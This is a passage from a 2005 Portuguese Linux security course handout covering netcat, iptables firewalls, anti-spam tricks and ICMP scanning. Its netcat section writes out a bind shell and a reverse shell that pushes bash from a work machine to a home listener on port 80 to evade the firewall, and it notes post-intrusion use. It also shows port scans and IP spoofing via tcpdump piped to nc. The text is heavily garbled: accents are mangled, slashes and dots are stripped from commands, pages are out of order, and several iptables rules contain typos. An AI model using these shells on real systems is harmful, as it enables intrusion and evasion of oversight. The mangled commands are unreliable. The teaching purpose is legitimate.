Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 26: Curso de segurança em linux e redes em geral

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos 